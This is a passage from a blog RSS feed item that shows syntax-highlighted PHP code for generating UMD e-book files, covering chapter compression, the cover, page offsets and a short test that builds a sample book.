style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$chapstr</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$value</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">content</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">41</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">32</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$chap_len</span><span style="color: Gray;"> = </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chapstr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$maximum</span><span style="color: Gray;"> = </span><span style="color: Blue;">ceil</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chap_len</span><span style="color: Gray;"> / </span><span style="color: #00008b;">$oo</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$num_1</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Gray;">,</span><span style="color: #00008b;">$maximum</span><span style="color: Gray;"> - </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$num_2</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Gray;">,</span><span style="color: #00008b;">$maximum</span><span style="color: Gray;"> - </span><span style="color: Maroon;">1</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$aa</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$maximum</span><span style="color: Gray;">;++</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">36</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$numrand</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">4.02653</span><span style="color: Blue;">e</span><span style="color: Gray;">+</span><span style="color: Maroon;">009</span><span style="color: Gray;">,</span><span style="color: Maroon;">4.29497</span><span style="color: Blue;">e</span><span style="color: Gray;">+</span><span style="color: Maroon;">009</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$aa</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$numrand</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$numrand</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$c_chapstr</span><span style="color: Gray;"> = </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$chapstr</span><span style="color: Gray;">,</span><span style="color: #00008b;">$ss</span><span style="color: Gray;">,</span><span style="color: #00008b;">$oo</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$ss</span><span style="color: Gray;"> += </span><span style="color: #00008b;">$oo</span><span style="color: Gray;"> ;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$z_chapstr</span><span style="color: Gray;"> = </span><span style="color: Blue;">gzcompress</span><span style="color: Olive;">(</span><span style="color: #00008b;">$c_chapstr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Maroon;">9</span><span style="color: Gray;"> + </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$z_chapstr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$z_chapstr</span><span style="color: Gray;"> ;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> == </span><span style="color: #00008b;">$num_1</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">23F100001500000000000000000000000000000000</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> == </span><span style="color: #00008b;">$num_2</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">230A000009</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">id</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> + </span><span style="color: Maroon;">268435456</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//0x81--正文写入完毕</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">2381000109</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">8192</span><span style="color: Gray;">,</span><span style="color: Maroon;">12287</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">36</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Maroon;">9</span><span style="color: Gray;"> + </span><span style="color: #00008b;">$maximum</span><span style="color: Gray;"> * </span><span style="color: Maroon;">4</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> = </span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;"> &lt; </span><span style="color: #00008b;">$maximum</span><span style="color: Gray;">;++</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$aa</span><span style="color: Olive;">[</span><span style="color: #00008b;">$i</span><span style="color: Olive;">]</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//0x82--封面</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Green;">empty</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">cover</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;"> || </span><span style="color: Blue;">is_file</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">cover</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]))</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">238200011001</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">4096</span><span style="color: Gray;">,</span><span style="color: Maroon;">8191</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: Maroon;">36</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$coverstream</span><span style="color: Gray;"> = </span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">bookinfo</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">cover</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$coverstream</span><span style="color: Olive;">)</span><span style="color: Gray;"> + </span><span style="color: Maroon;">9</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$coverstream</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//0x87--PageOffset</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">writePageOffset</span><span style="color: Olive;">(</span><span style="color: Maroon;">0x10</span><span style="color: Gray;">,</span><span style="color: Maroon;">0xD0</span><span style="color: Gray;">,</span><span style="color: Maroon;">0x01</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">writePageOffset</span><span style="color: Olive;">(</span><span style="color: Maroon;">0x10</span><span style="color: Gray;">,</span><span style="color: Maroon;">0xB0</span><span style="color: Gray;">,</span><span style="color: Maroon;">0x01</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">writePageOffset</span><span style="color: Olive;">(</span><span style="color: Maroon;">0x0C</span><span style="color: Gray;">,</span><span style="color: Maroon;">0xD0</span><span style="color: Gray;">,</span><span style="color: Maroon;">0x01</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">writePageOffset</span><span style="color: Olive;">(</span><span style="color: Maroon;">0x0C</span><span style="color: Gray;">,</span><span style="color: Maroon;">0xB0</span><span style="color: Gray;">,</span><span style="color: Maroon;">0x01</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">writePageOffset</span><span style="color: Olive;">(</span><span style="color: Maroon;">0x0A</span><span style="color: Gray;">,</span><span style="color: Maroon;">0xA6</span><span style="color: Gray;">,</span><span style="color: Maroon;">0x05</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #ffa500;">//0x0c--文件结束</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: Blue;">pack</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">H*</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">230C000109</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$random</span><span style="color: Gray;"> = </span><span style="color: Maroon;">4</span><span style="color: Gray;"> + </span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">)</span><span style="color: Gray;"> + </span><span style="color: Blue;">ftell</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">dec2hex</span><span style="color: Olive;">(</span><span style="color: #00008b;">$random</span><span style="color: Gray;">,</span><span style="color: Maroon;">4</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: #00008b;">$data</span><span style="color: Gray;">,</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$data</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">flock</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Gray;">,</span><span style="color: Blue;">LOCK_UN</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">fclose</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">handle</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;@</span><span style="color: Blue;">chmod</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">,</span><span style="color: Maroon;">0755</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Green;">true</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">//test</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$umd</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Blue;">UMD</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$umd</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">addBookInfo</span><span style="color: Olive;">(</span><span style="color: Green;">array</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">title</span><span style="color: #8b0000;">'</span><span style="color: Gray;">=&gt;</span><span style="color: #8b0000;">'</span><span style="color: Red;">测试umd生成</span><span style="color: #8b0000;">'</span><span style="color: Olive;">))</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$umd</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">addChapter</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">第一章</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">内容1111111111111111111111111111111111111</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$umd</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">addChapter</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">第二章</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">内容22222222222222222222222222222222222222222</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$umd</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">makeUmd</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">aaa.umd</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;<br /></span><span style="color: Blue;">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/umd-txt-php/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
	</channel>
</rss>
